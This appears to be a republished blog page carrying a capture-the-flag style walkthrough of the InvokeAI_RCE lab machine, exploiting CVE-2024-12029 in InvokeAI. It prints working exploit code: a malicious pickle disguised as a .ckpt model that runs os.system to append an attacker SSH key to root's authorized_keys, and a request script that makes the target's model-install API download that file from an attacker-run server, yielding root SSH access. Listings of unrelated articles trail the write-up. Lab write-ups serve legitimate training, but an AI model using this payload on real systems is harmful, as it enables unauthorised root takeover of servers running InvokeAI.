news 2026/5/8 0:20:47

InvokeAI RCE漏洞利用与远程代码执行实战分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
InvokeAI RCE漏洞利用与远程代码执行实战分析

InvokeAI_RCE | PG Walkthrough

在谷歌搜索“invokeai_rce”,你会很快找到CVE-2024-12029。事实证明,“huntr”是一个新的AI/ML CVE网站。

huntr - 世界上第一个AI/ML漏洞赏金平台

基本上按照此链接中的POC(概念验证)进行操作。解决这个靶机的关键技巧是找到这个链接。

靶机描述建议创建一个密钥,并使用payload将id_rsa.pub上传到root的授权密钥文件中。

首先使用以下命令创建密钥:
ssh-keygen

复制id_rsa.pub并将其用于ssh.py中的payload。

使用如上链接中POC演示的ssh.py来生成payload。该.ckpt文件将把公钥回显到目标机的root用户的authorized_keys文件中。

importpickleclassPayload:def__reduce__(self):importosreturn(os.system,('echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA0mDlI9bbgZq0XYTKvG+jo/Q6/By7bxTP6VwRqs3sh1 root@kali" >> /root/.ssh/authorized_keys',))defgenerate_payload():# 不是 .pklwithopen('payload.ckpt','wb')asf:pickle.dump(Payload(),f)generate_payload()

payload.ckpt文件所在位置设置一个Web服务器,并在exploit.py中引用它以执行payload(将攻击者的id_rsa.pub密钥粘贴到目标机的root授权密钥文件中)。

importrequests url="http://192.168.159.218:9090/api/v2/models/install"params={"source":"http://192.168.45.227:8080/payload.ckpt","inplace":"true"}response=requests.post(url,params=params,json={})print(response.text)

确保给id_rsa文件必要的权限(chmod 600 id_rsa),然后使用通过ssh-keygen生成的id_rsa密钥以root身份进行SSH连接。
CSD0tFqvECLokhw9aBeRqlyK5KMpaklojJBUegXcB9J+/111yYeGSJSiNtXQwSVQ0pW+HI2mbOG2VnyH8b7ErlJ21+8esbpf+7cQT5JJbS3PF4agwWGfdflw3pgF9XrX
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/5 16:51:37

Jupyter Notebook保存检查点功能在PyTorch训练中的应用

Jupyter Notebook保存检查点功能在PyTorch训练中的应用 在深度学习项目中,最令人沮丧的场景莫过于:模型已经训练了十几个小时,结果因为一次意外断电、内核崩溃或不小心关掉了浏览器标签页,所有进度瞬间归零。这种“从头再来”的代…

作者头像 李华
网站建设 2026/5/4 13:24:03

【CMake】`add_subdirectory()` 命令详解

add_subdirectory() 是 CMake 中用于组织大型项目、模块化构建的核心命令,它允许将项目分解为多个子目录,每个子目录有自己的 CMakeLists.txt 文件。 基本语法 add_subdirectory(source_dir [binary_dir] [EXCLUDE_FROM_ALL])参数详解 必需参数 source_d…

作者头像 李华
网站建设 2026/5/7 14:22:06

Git克隆项目后如何快速运行?配合PyTorch-CUDA镜像联用

Git克隆项目后如何快速运行?配合PyTorch-CUDA镜像联用 在深度学习项目的日常开发中,你是否曾遇到过这样的场景:刚从团队仓库 git clone 下一个新项目,满心期待地准备跑通训练脚本,结果却卡在了环境配置上——Python版…

作者头像 李华
网站建设 2026/5/5 14:56:01

2026 年工作计划怎么汇报?AI 自动生成 PPT 方案

职场汇报的难题 在职场中,每到新一年开始,撰写并汇报工作计划是一项重要任务。然而,很多人会在如何清晰、有条理地呈现 2026 年工作计划上犯难,尤其是要做成 PPT 汇报,更是让人头疼。接下来就为大家介绍汇报的要点和借…

作者头像 李华